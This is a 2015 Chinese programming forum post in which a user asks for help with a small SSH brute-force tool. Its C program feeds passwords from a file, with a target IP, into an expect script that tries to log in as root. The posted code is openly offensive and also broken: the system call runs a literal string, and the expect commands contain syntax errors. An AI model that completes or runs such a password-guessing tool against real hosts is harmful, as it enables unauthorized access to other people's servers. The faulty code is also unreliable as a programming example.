hht769089161 2015-07-31 06:30 采纳率: 14.3%
浏览 1730

大家帮我看一下,这个在C语言里调用shell的对嘛,谢谢

#include
#include
int main(int argc,char**argv){
FILE* fp=NULL;
fp=fopen("passwd.txt","r");
char buff[20];
int i;
for(i=0;;i++){
memset(buff,0,sizeof(buff));

            if(fp==NULL)
                    break;

            fgets(buff,20,fp);
            printf("%s",buff);
            char shell[200];
            sprintf(shell,"/home/hht/workspeace/work1/ssh.sh %s %s",argv[1],buff);
            system("shell");
                    }

}
我想实现一个暴力破解ssh的小程序,但是完全不会shell,也只能硬着头皮用了,上面的C部分我想把passwd上的每一行代码fgets出来,然后连带ip作为参数传进shell里面,可能是在system调用shell的时候出的问题,当然也可能所有都有问题。

下面是shell的代码
#!/usr/bin/expect -f
set passwd $2
#密码
set host $1
#目标主机地址
set name root
#用户名

spawn ssh $host -l $name
expect "root@$host’s password:"
send "$passwd\r"

send"uname\n"
expect"LINUX"
send_user"success"

expect"Permission denied,please try again."
send_user"wrongnumber"
~

用expect这样可以吗,谢谢大家

  • 写回答

3条回答 默认 最新

  • hht769089161 2015-07-31 06:57
    关注

    错误是无限的
    sh: 1: shell: not found
    sh: 1: shell: not found
    sh: 1: shell: not found
    sh: 1: shell: not found
    sh: 1: shell: not found
    sh: 1: shell: not found
    sh: 1: shell: not found
    sh: 1: shell: not found
    sh: 1: shell: not found

    评论

报告相同问题?

悬赏问题

  • ¥15 如何在scanpy上做差异基因和通路富集?
  • ¥20 关于#硬件工程#的问题,请各位专家解答!
  • ¥15 关于#matlab#的问题:期望的系统闭环传递函数为G(s)=wn^2/s^2+2¢wn+wn^2阻尼系数¢=0.707,使系统具有较小的超调量
  • ¥15 FLUENT如何实现在堆积颗粒的上表面加载高斯热源
  • ¥30 截图中的mathematics程序转换成matlab
  • ¥15 动力学代码报错,维度不匹配
  • ¥15 Power query添加列问题
  • ¥50 Kubernetes&Fission&Eleasticsearch
  • ¥15 報錯:Person is not mapped,如何解決?
  • ¥15 c++头文件不能识别CDialog